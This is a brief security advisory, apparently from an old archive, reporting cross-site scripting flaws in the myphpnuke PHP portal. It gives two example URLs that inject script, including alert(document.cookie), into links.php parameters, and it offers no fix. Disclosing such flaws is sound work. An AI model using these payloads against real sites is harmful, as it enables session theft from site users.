|
COMMAND myphpnuke xss SYSTEMS AFFECTED ? PROBLEM Tacettin Karadeniz [tacettinkaradeniz@yahoo.com] says : myphpnuke is a website portal tool written in php. There are many Cross Site Scripting issue on myphpnuke. Example: ======== http://WEB/myphpnuke/links.php?op=MostPopular&ratenum=[scr!pt]alert(document.cookie);[/scr!pt]&ratetype=percent http://WEB/myphpnuke/links.php?op=search&query=[scr!pt]alert('tacettin@olympos.org');[/scr!pt]?query= SOLUTION ?